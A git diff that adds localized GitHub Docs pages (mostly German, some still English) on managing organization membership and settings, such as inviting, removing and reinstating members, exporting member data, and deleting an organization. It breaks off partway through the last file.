+ms.openlocfilehash: d9914764c4803ab503db5cacb2a61c27810d90cf
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145101507'
+---
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %}
+4. Klicke auf der Registerkarte „Personen“ auf **Ausstehende Einladung**.
+ ![Link zu ausstehender Einladung](/assets/images/help/organizations/pending-invitation-link.png)
+5. Klicke neben dem Benutzernamen oder der E-Mail-Adresse der Person, deren Einladung du bearbeiten oder abbrechen möchtest, auf **Einladung bearbeiten**.
+![Schaltfläche „Einladung bearbeiten“](/assets/images/help/organizations/edit-invitation-button.png)
+
+ Möglicherweise musst du unten im Fenster auf **Alle Einladungen anzeigen** klicken, um die gewünschte Person zu finden.
+6. Entscheide, ob du die Einladung zum Beitritt zu deiner Organisation bearbeiten oder abbrechen möchtest.
+  ![Schaltflächen „Einladung aktualisieren“ und „Einladung zurückziehen“](/assets/images/help/organizations/update-cancel-invitation-buttons-for-dotcom-and-2.8.png)
+    - Um die Einladung des Benutzers bzw. der Benutzerin zu bearbeiten, wähle eine andere Rolle oder ein anderes Team aus. Klicke dann auf **Einladung aktualisieren**.
+    - Um die Einladung für den Benutzer bzw. die Benutzerin zurückzuziehen, klicke auf **Einladung zurückziehen**.
+
+## Weitere Informationsquellen
+
+{% ifversion fpt or ghec %}
+- [Einladen von Benutzer*innen zum Beitritt zu deiner Organisation](/articles/inviting-users-to-join-your-organization) {% endif %}
+- [Hinzufügen von Organisationsmitgliedern zu einem Team](/articles/adding-organization-members-to-a-team)
diff --git a/translations/de-DE/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md b/translations/de-DE/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
new file mode 100644
index 0000000000..b979aa7e7a
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
@@ -0,0 +1,33 @@
+---
+title: Exportieren von Mitgliedsinformationen für deine Organisation
+intro: Du kannst Informationen zu Mitgliedern in deiner Organisation direkt über die Benutzeroberfläche exportieren.
+permissions: Organization owners can export member information for their organization.
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Export member information
+ms.openlocfilehash: 2777e125f5eb43bfcf8ec1172db29fe7338bdbad
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145101504'
+---
+Du kannst Informationen zu Mitgliedern in deiner Organisation exportieren. Dies ist nützlich, wenn du Benutzer innerhalb der Organisation überwachen möchtest.
+
+Die exportierten Informationen umfassen:
+- Benutzernamen- und Anzeigenamendetails
+- Ob der Benutzer die zweistufige Authentifizierung aktiviert hat
+- Ob die Mitgliedschaft öffentlich oder privat ist
+- Ob der Benutzer ein Organisationsbesitzer oder Mitglied ist
+- Datum und Uhrzeit der letzten Aktivität des Benutzers (eine vollständige Liste der relevanten Aktivitäten findest du unter [Verwalten ruhender Benutzer](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users))
+- Die SAML-NameID des Benutzers, sofern verfügbar
+
+Du kannst Mitgliederinformationen direkt über die {% data variables.product.product_name %}-Benutzeroberfläche oder mit APIs abrufen. In diesem Artikel wird erläutert, wie du Mitgliederinformationen aus {% data variables.product.product_name %} abrufst.
+
+Weitere Informationen zu den APIs findest du in der [GraphQL-API](/graphql/reference/objects#user)- und [REST-API](/rest/reference/users)-Dokumentation zu Benutzern.
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} {% data reusables.organizations.people-export %}
diff --git a/translations/de-DE/content/organizations/managing-membership-in-your-organization/index.md b/translations/de-DE/content/organizations/managing-membership-in-your-organization/index.md
new file mode 100644
index 0000000000..4a33368856
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-membership-in-your-organization/index.md
@@ -0,0 +1,32 @@
+---
+title: Verwalten der Mitgliedschaft in deiner Organisation
+intro: 'Nachdem du deine Organisation erstellt hast, kannst du {% ifversion fpt %}Benutzer einladen{% else %}Benutzer hinzufügen{% endif %}, damit diese Mitglieder der Organisation werden. Du kannst auch Mitglieder aus der Organisation entfernen und ehemalige Mitglieder reaktivieren.'
+redirect_from:
+  - /articles/removing-a-user-from-your-organization
+  - /articles/managing-membership-in-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/managing-membership-in-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+children:
+  - /inviting-users-to-join-your-organization
+  - /canceling-or-editing-an-invitation-to-join-your-organization
+  - /adding-people-to-your-organization
+  - /removing-a-member-from-your-organization
+  - /reinstating-a-former-member-of-your-organization
+  - /exporting-member-information-for-your-organization
+  - /can-i-create-accounts-for-people-in-my-organization
+shortTitle: Manage membership
+ms.openlocfilehash: f465362d7aa9310a3ab8f286ee4e00519637c236
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145101500'
+---
+<!-- else -->
diff --git a/translations/de-DE/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md b/translations/de-DE/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md
new file mode 100644
index 0000000000..3228b6aa3f
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md
@@ -0,0 +1,42 @@
+---
+title: Inviting users to join your organization
+intro: 'You can invite anyone to become a member of your organization using their username or email address for {% data variables.location.product_location %}.'
+permissions: Organization owners can invite users to join an organization.
+redirect_from:
+  - /articles/adding-or-inviting-members-to-a-team-in-an-organization
+  - /articles/inviting-users-to-join-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/inviting-users-to-join-your-organization
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Invite users to join
+---
+
+## About organization invitations
+
+If your organization has a paid per-user subscription, an unused license must be available before you can invite a new member to join the organization or reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)." 
+
+{% data reusables.organizations.org-invite-scim %}
+
+If your organization requires members to use two-factor authentication, users that you invite must enable two-factor authentication before accepting the invitation. For more information, see "[Requiring two-factor authentication in your organization](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization)" and "[Securing your account with two-factor authentication (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)."
+
+{% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% else %}You{% endif %} can implement SCIM to add, manage, and remove organization members' access to {% data variables.product.prodname_dotcom_the_website %} through an identity provider (IdP). For more information, see "[About SCIM for organizations](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+
+## Inviting a user to join your organization
+
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+{% data reusables.organizations.people %}
+{% data reusables.organizations.invite_member_from_people_tab %}
+{% data reusables.organizations.invite_to_org %}
+{% data reusables.organizations.choose-to-restore-privileges %}
+{% data reusables.organizations.choose-user-role %}
+{% data reusables.organizations.add-user-to-teams %}
+{% data reusables.organizations.send-invitation %}
+{% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %}
+
+## Further reading
+- "[Adding organization members to a team](/articles/adding-organization-members-to-a-team)"
diff --git a/translations/de-DE/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md b/translations/de-DE/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md
new file mode 100644
index 0000000000..7689089637
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md
@@ -0,0 +1,82 @@
+---
+title: Reinstating a former member of your organization
+intro: 'Organization owners can {% ifversion fpt or ghec %}invite former organization members to rejoin{% else %}add former members to{% endif%} your organization, and choose whether to restore the person''s former role, access permissions, forks, and settings.'
+redirect_from:
+  - /articles/reinstating-a-former-member-of-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/reinstating-a-former-member-of-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+permissions: Organization owners can reinstate a former member of an organization.
+topics:
+  - Organizations
+  - Teams
+shortTitle: Reinstate a member
+---
+
+## About member reinstatement
+
+If a user is removed from your organization in one of the following ways, the user's access privileges and settings are saved for three months. 
+
+- You manually removed the user from your organization. For more information, see "[Removing a member from your organization](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization)."{% ifversion not ghae %}
+- The user was removed from your organization because you've required members and outside collaborators to enable two-factor authentication (2FA). For more information, see "[Requiring two-factor authentication in your organization](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization)."{% endif %}{% ifversion fpt or ghec %}
+- The user was removed from your organization because you enforced SAML single sign-on. For more information, see "[Enforcing SAML single sign-on for your organization](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+- You converted an organization member to an outside collaborator. For more information, see "[Converting an organization member to an outside collaborator](/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator)."
+
+You can restore the user's privileges if you {% ifversion fpt or ghec %}invite{% else %}add{% endif %} them back to the organization within that time frame.
+
+{% note %}
+
+**Note:** {% data reusables.saml.removed-users-can-rejoin %} You do not need to invite these users to rejoin. Instead, the user can sign into their personal account, navigate to the organization, and click the banner to authenticate via SAML single sign-on.
+
+{% endnote %}
+
+{% data reusables.two_fa.send-invite-to-reinstate-user-before-2fa-is-enabled %}
+
+When you reinstate a former organization member, you can restore:
+ - The user's role in the organization
+ - Any private forks of repositories owned by the organization
+ - Membership in the organization's teams
+ - Previous access and permissions for the organization's repositories
+ - Stars for organization repositories
+ - Issue assignments in the organization
+ - Repository subscriptions (notification settings for watching, not watching, or ignoring a repository's activity)
+
+{% ifversion ghes %}
+If an organization member was removed from the organization because they did not use two-factor authentication and your organization still requires members to use 2FA, the former member must enable two-factor authentication before you can reinstate their membership.
+{% endif %}
+
+{% ifversion fpt or ghec %}
+If your organization has a paid per-user subscription, an unused license must be available before you can reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)." {% data reusables.organizations.org-invite-scim %}
+{% endif %}
+
+## Reinstating a former member of your organization
+
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+{% data reusables.organizations.people %}
+{% data reusables.organizations.invite_member_from_people_tab %}
+{% data reusables.organizations.reinstate-user-type-username %}
+{% ifversion fpt or ghec %}
+6. Choose whether to restore that person's previous privileges in the organization or clear their previous privileges and set new access permissions, then click **Invite and reinstate** or **Invite and start fresh**.
+  ![Choose to restore info or not](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png)
+{% else %}
+6. Choose whether to restore that person's previous privileges in the organization or clear their previous privileges and set new access permissions, then click **Add and reinstate** or **Add and start fresh**.
+  ![Choose whether to restore privileges](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png)
+{% endif %}
+{% ifversion fpt or ghec %}
+7. If you cleared the previous privileges for a former organization member, choose a role for the user, and optionally add them to some teams, then click **Send invitation**.
+  ![Role and team options and send invitation button](/assets/images/help/organizations/add-role-send-invitation.png)
+{% else %}
+7. If you cleared the previous privileges for a former organization member, choose a role for the user, and optionally add them to some teams, then click **Add member**.
+  ![Role and team options and add member button](/assets/images/help/organizations/add-role-add-member.png)
+{% endif %}
+{% ifversion fpt or ghec %}
+{% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %}
+{% endif %}
+
+## Further reading
+
+- "[Converting an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator)"
diff --git a/translations/de-DE/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md b/translations/de-DE/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md
new file mode 100644
index 0000000000..b7c791fbe0
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md
@@ -0,0 +1,72 @@
+---
+title: Entfernen eines Mitglieds aus deiner Organisation
+intro: 'Wenn Mitglieder deiner Organisation keinen Zugriff mehr auf die Repositorys deiner Organisation benötigen, kannst du sie aus der Organisation entfernen.'
+redirect_from:
+  - /articles/removing-a-member-from-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/removing-a-member-from-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Remove a member
+permissions: Organization owners can remove members from an organization.
+ms.openlocfilehash: 4266172bc2bae6fb95506b98309533919309ccfc
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147064698'
+---
+{% ifversion fpt or ghec %}
+
+{% warning %}
+
+**Warnung:** Wenn du Mitglieder aus einer Organisation entfernst:
+- Die Anzahl der bezahlten Lizenzen wird nicht automatisch heruntergesetzt. Folge den Schritten unter [Verringern der Anzahl kostenpflichtiger Arbeitsplätze deiner Organisation](/articles/downgrading-your-organization-s-paid-seats), um nach dem Entfernen von Benutzern aus der Organisation für weniger Lizenzen zu bezahlen.
+- Entfernte Mitglieder verlieren den Zugriff auf private Forks zu den Repositorys deiner Organisation, nicht jedoch auf ihre eigenen lokalen Kopien. Eine Synchronisation ihrer lokalen Kopien mit den Repositorys deiner Organisation ist allerdings nicht mehr möglich. Ihre privaten Forks können wiederhergestellt werden, wenn die Benutzer*innen innerhalb von drei Monaten nach dem Entfernen aus der Organisation [als Organisationsmitglieder reaktiviert](/articles/reinstating-a-former-member-of-your-organization) werden. Es untersteht deiner Verantwortung, dafür Sorge zu tragen, dass die Personen, denen du den Zugriff auf ein Repository entziehst, vertrauliche Informationen oder geistiges Eigentum von ihren Systemen löschen.
+- Wenn private Repositorys für andere Organisationen geforkt werden, können diese Organisationen den Zugriff auf das Forknetzwerk steuern. Dies bedeutet, dass Benutzer den Zugriff auf die Forks auch nach dem Verlust des Zugriffs auf die ursprüngliche Organisation behalten können, da sie weiterhin explizit Zugriff über einen Fork haben. {%- ifversion ghec %}
+-  Entfernte Mitglieder verlieren auch den Zugriff auf private Forks der internen Repositorys deiner Organisation, wenn das entfernte Mitglied kein Mitglied einer anderen Organisation ist, die sich im Besitz desselben Unternehmenskontos befindet. Weitere Informationen findest du unter [Informationen zu Unternehmenskonten](/admin/overview/about-enterprise-accounts).
+{%- endif %}
+- Alle nicht akzeptierten Organisationseinladungen, die von einem entfernten Mitglied gesendet wurden, werden abgebrochen und sind nicht zugänglich.
+
+{% endwarning %}
+
+{% else %}
+
+{% warning %}
+
+**Warnung:** Wenn du Mitglieder aus einer Organisation entfernst:
+ - Entfernte Mitglieder verlieren den Zugriff auf private Forks zu den Repositorys deiner Organisation, nicht jedoch auf ihre eigenen lokalen Kopien. Eine Synchronisation ihrer lokalen Kopien mit den Repositorys deiner Organisation ist allerdings nicht mehr möglich. Ihre privaten Forks können wiederhergestellt werden, wenn die Benutzer*innen innerhalb von drei Monaten nach dem Entfernen aus der Organisation [als Organisationsmitglieder reaktiviert](/articles/reinstating-a-former-member-of-your-organization) werden. Es untersteht deiner Verantwortung, dafür Sorge zu tragen, dass die Personen, denen du den Zugriff auf ein Repository entziehst, vertrauliche Informationen oder geistiges Eigentum von ihren Systemen löschen.
+- Entfernte Mitglieder verlieren auch den Zugriff auf private Forks der internen Repositorys deiner Organisation, wenn das entfernte Mitglied kein Mitglied einer anderen Organisation in deinem Unternehmen ist.
+ - Alle nicht akzeptierten Organisationseinladungen, die von einem entfernten Benutzer gesendet wurden, werden abgebrochen und sind nicht zugänglich.
+
+{% endwarning %}
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+
+Um einer Person, die deine Organisation verlässt, den Umstieg zu erleichtern und sicherzustellen, dass sie vertrauliche Informationen oder geistiges Eigentum von ihren Systemen löscht, empfehlen wir Dir die Bereitstellung einer Checkliste mit Best Practices zum Verlassen deiner Organisation. Ein Beispiel findest du unter [Bewährte Methoden zum Verlassen deines Unternehmens](/articles/best-practices-for-leaving-your-company/).
+
+{% endif %}
+
+{% data reusables.organizations.data_saved_for_reinstating_a_former_org_member %}
+
+## Einem Benutzer die Mitgliedschaft entziehen
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %}
+4. Wähle das oder die Mitglieder aus, die du aus deiner Organisation entfernen möchtest.
+  ![Liste der Mitglieder mit zwei ausgewählten Mitgliedern](/assets/images/help/teams/list-of-members-selected-bulk.png)
+5. Klicke im Dropdownmenü über der Mitgliederliste auf **Aus Organisation entfernen**.
+  ![Dropdownmenü mit Option zum Entfernen von Mitgliedern](/assets/images/help/teams/user-bulk-management-options.png)
+6. Prüfe die zum Entfernen ausgewählten Mitglieder, und klicke auf **Mitglieder entfernen**.
+  ![Liste der zu entfernenden Mitglieder und Schaltfläche „Mitglieder entfernen“](/assets/images/help/teams/confirm-remove-members-bulk.png)
+
+## Weitere Informationsquellen
+
+- [Entfernen von Organisationsmitgliedern aus einem Team](/articles/removing-organization-members-from-a-team){% ifversion remove-enterprise-members %}
+- [Entfernen eines Mitglieds aus deinem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise){% endif %}
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md
new file mode 100644
index 0000000000..4fcc9475d4
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md
@@ -0,0 +1,27 @@
+---
+title: Allowing people to delete issues in your organization
+intro: Organization owners can allow certain people to delete issues in repositories owned by your organization.
+redirect_from:
+  - /articles/allowing-people-to-delete-issues-in-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-delete-issues-in-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Allow issue deletion
+---
+
+By default, issues cannot be deleted in an organization's repositories. An organization owner must enable this feature for all of the organization's repositories first.
+
+Once enabled, organization owners and people with admin access in an organization-owned repository can delete issues. People with admin access in a repository include organization members and outside collaborators who were given admin access. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" and "[Deleting an issue](/articles/deleting-an-issue)."
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.member-privileges %}
+5. Under "Issue deletion", select **Allow members to delete issues for this organization**.
+![Checkbox to allow people to delete issues](/assets/images/help/settings/issue-deletion.png)
+6. Click **Save**.
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/allowing-project-visibility-changes-in-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/allowing-project-visibility-changes-in-your-organization.md
new file mode 100644
index 0000000000..e56687a557
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/allowing-project-visibility-changes-in-your-organization.md
@@ -0,0 +1,40 @@
+---
+title: Zulassen von Änderungen an der Projektsichtbarkeit in deiner Organisation
+intro: 'Organisationsbesitzer können Mitgliedern mit Administratorberechtigungen erlauben, die Sichtbarkeit von {% data variables.projects.projects_v2_and_v1 %} in ihrer Organisation anzupassen.'
+versions:
+  feature: classic-project-visibility-permissions-or-projects-v2
+topics:
+  - Organizations
+  - Projects
+shortTitle: Project visibility permissions
+allowTitleToDifferFromFilename: true
+permissions: 'Organization owners can allow {% data variables.projects.project_v2_and_v1 %} visibility changes for an organization.'
+ms.openlocfilehash: 5f8963e8c03e2c0a62586964b6331ec7b3d945b5
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109537'
+---
+## Informationen zu Sichtbarkeitsänderungen für Projekte
+
+Du kannst einschränken, wer die Sichtbarkeit von {% data variables.projects.projects_v2_and_v1 %} in deiner Organisation ändern darf, z. B. indem du Mitgliedern untersagst, {% data variables.projects.projects_v2_and_v1 %} von privat in öffentlich zu ändern. 
+
+Du kannst die Möglichkeit zum Ändern der Sichtbarkeit von {% data variables.projects.project_v2_and_v1 %} auf die Organisationsbesitzer beschränken oder allen Personen mit Administratorberechtigungen erlauben, die Sichtbarkeit zu ändern.
+
+{% ifversion project-visibility-policy %} Diese Option steht dir möglicherweise nicht zur Verfügung, wenn ein Unternehmensbesitzer die Sichtbarkeitsänderungen für {% data variables.projects.projects_v2_and_v1 %} auf Unternehmensebene einschränkt. Weitere Informationen findest du unter [Erzwingen von Richtlinien für Projekte in deinem Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise).
+{% endif %}
+
+## Zulassen von Änderungen an der Projektsichtbarkeit durch Mitglieder
+
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %}
+1. Klicke im Abschnitt „Code, Planung und Automatisierung“ der Randleiste auf **{% octicon "table" aria-label="The table icon" %} Projekte**.
+1. Wähle **Allow members to change project visibilities for this organization** (Mitgliedern das Ändern der Projektsichtbarkeit für diese Organisation erlauben).
+  ![Screenshot des Kontrollkästchens zum Festlegen von Sichtbarkeitsänderungen](/assets/images/help/projects-v2/visibility-change-checkbox.png)
+1. Klicke auf **Speichern**.
+
+## Weitere Informationsquellen
+
+{% ifversion projects-v2 %}
+- [Verwalten der Sichtbarkeit deiner {% data variables.projects.projects_v2 %}](/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects) {%- endif %}{%- ifversion projects-v1 %}
+- [Ändern der Sichtbarkeit für ein {% data variables.product.prodname_project_v1 %}](/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility) {% endif %}
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md b/translations/de-DE/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
new file mode 100644
index 0000000000..861a04e33b
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
@@ -0,0 +1,26 @@
+---
+title: Changing the visibility of your organization's dependency insights
+intro: You can allow all organization members to view dependency insights for your organization or limit viewing to organization owners.
+redirect_from:
+  - /articles/changing-the-visibility-of-your-organizations-dependency-insights
+  - /github/setting-up-and-managing-organizations-and-teams/changing-the-visibility-of-your-organizations-dependency-insights
+versions:
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Change insight visibility
+---
+
+Organization owners can set limitations for viewing organization dependency insights. All members of an organization can view organization dependency insights by default.
+
+{% ifversion ghec %}
+Enterprise owners can set limitations for viewing organization dependency insights on all organizations in your enterprise account. For more information, see "[Enforcing policies for dependency insights in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)."
+{% endif %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.member-privileges %}
+5. Under "Member organization permissions", select or unselect **Allow members to view dependency insights**.
+![Checkbox to allow members to view insights](/assets/images/help/organizations/allow-members-to-view-insights.png)
+6. Click **Save**.
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization.md
new file mode 100644
index 0000000000..c6e6102198
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization.md
@@ -0,0 +1,24 @@
+---
+title: Configuring the retention period for GitHub Actions artifacts and logs in your organization
+intro: 'You can configure the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your organization.'
+redirect_from:
+  - /github/setting-up-and-managing-organizations-and-teams/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Configure retention period
+---
+
+{% data reusables.actions.about-artifact-log-retention %}
+
+## Setting the retention period for an organization
+
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.org_settings %}
+{% data reusables.organizations.settings-sidebar-actions-general %}
+{% data reusables.actions.change-retention-period-for-artifacts-logs  %}
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md b/translations/de-DE/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md
new file mode 100644
index 0000000000..5eb1264894
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md
@@ -0,0 +1,48 @@
+---
+title: Eine Organisation in einen Benutzer umwandeln
+intro: 'Es ist nicht möglich, eine Organisation in eine persönliches Benutzerkonto umzuwandeln. Du kannst jedoch ein neues persönliches Benutzerkonto erstellen und die Repositorys der Organisation in das Konto übertragen.'
+redirect_from:
+  - /articles/converting-an-organization-into-a-user
+  - /github/setting-up-and-managing-organizations-and-teams/converting-an-organization-into-a-user
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Convert organization to user
+ms.openlocfilehash: ef6baa2db188570476ee36d5f6932a87d615d2ec
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145149800'
+---
+{% ifversion fpt or ghec %}
+
+{% note %}
+
+**Hinweis**: Nachdem ein Konto gelöscht wurde, ist der zum Zeitpunkt des Löschens gültige Benutzername 90 Tage lang nicht mehr zur Wiederverwendung verfügbar. Um den Benutzernamen einer Organisation sofort wiederzuverwenden, musst du den Benutzernamen ändern, bevor du die Organisation löschst.
+
+ {% endnote %}
+
+1. [Registriere dich](/articles/signing-up-for-a-new-github-account) für ein neues Konto auf GitHub.
+2. [Ändere die Rolle des Benutzers in „Besitzer“](/articles/changing-a-person-s-role-to-owner).
+3. {% data variables.product.signin_link %} mit dem neuen persönlichen Konto.
+4. [Übertrage jedes Organisationsrepository](/articles/how-to-transfer-a-repository) auf das neue persönliche Konto.
+5. [Benenne die Organisation um](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username), um den aktuellen Benutzernamen verfügbar zu machen.
+6. [Benenne den Benutzer](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username) in den Namen der Organisation um.
+7. [Lösche die Organisation](/organizations/managing-organization-settings/deleting-an-organization-account).
+
+
+{% else %}
+
+1. Registriere Dich für ein neues persönliches GitHub Enterprise-Konto.
+2. [Ändere die Rolle des Benutzers in „Besitzer“](/articles/changing-a-person-s-role-to-owner).
+3. {% data variables.product.signin_link %} mit dem neuen persönlichen Konto.
+4. [Übertrage jedes Organisationsrepository](/articles/how-to-transfer-a-repository) auf das neue persönliche Konto.
+5. [Lösche die Organisation](/articles/deleting-an-organization-account).
+6. [Benenne den Benutzer](/articles/changing-your-github-username) in den Namen der Organisation um.
+
+{% endif %}
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/deleting-an-organization-account.md b/translations/de-DE/content/organizations/managing-organization-settings/deleting-an-organization-account.md
new file mode 100644
index 0000000000..88ff35d2d9
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/deleting-an-organization-account.md
@@ -0,0 +1,44 @@
+---
+title: Deleting an organization account
+intro: 'When you delete an organization, all repositories, forks of private repositories, wikis, issues, pull requests, and Project or Organization Pages are deleted as well. {% ifversion fpt or ghec %}Your billing will end, and after 90 days the organization name becomes available for use on a new user or organization account.{% endif %}'
+redirect_from:
+  - /articles/deleting-an-organization-account
+  - /github/setting-up-and-managing-organizations-and-teams/deleting-an-organization-account
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Delete organization
+---
+
+{% ifversion fpt or ghec %}
+{% tip %}
+
+**Tip**: If you want to cancel your paid subscription, you can [downgrade your organization to {% data variables.product.prodname_free_team %}](/articles/downgrading-your-github-subscription) instead of deleting the organization and its content.
+
+{% endtip %}
+
+{% endif %}
+
+## 1. Back up your organization content
+
+{% ifversion not ghes %} After you delete an organization, {% data variables.product.company_short %} **cannot restore your content**. Therefore, before{% else %}Before{% endif %} you delete your organization, make sure you have a copy of all repositories, wikis, issues, and project boards from the account.
+
+{% ifversion ghes %}
+{% note %}
+
